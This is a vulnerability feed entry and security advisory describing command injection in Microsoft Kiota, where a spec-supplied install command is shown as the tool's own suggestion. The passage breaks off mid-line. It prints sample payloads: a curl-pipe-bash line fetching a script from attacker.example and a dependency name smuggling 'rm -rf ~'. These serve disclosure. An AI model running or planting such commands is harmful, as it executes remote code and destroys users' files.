https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-06T08:25:36.404337+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/euvd-2026-354320 EUVD-2026-354320 2026-10-06T08:25:36.451812+00:00 EUVD-2026-354320 https://cve.radiocsirt.org/vuln/fkie_cve-2026-59865 fkie_cve-2026-59865 2026-10-06T08:25:36.451859+00:00

Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.

 https://cve.radiocsirt.org/vuln/ghsa-hq9q-27g5-qwpj GHSA-hq9q-27g5-qwpj — Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info` 2026-10-06T08:25:36.451908+00:00

Affected: NuGet: Microsoft.OpenApi.Kiota, NuGet: Microsoft.OpenApi.Kiota.Builder

### Summary

`kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

``` $ kiota info -d <attacker-spec> -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ```

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the Kiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota **1.32.4**.

### Details

`x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand` was emitted verbatim as the install-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:

``` # spec x-ms-kiota-info: languagesInformation: CSharp: dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash" dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0…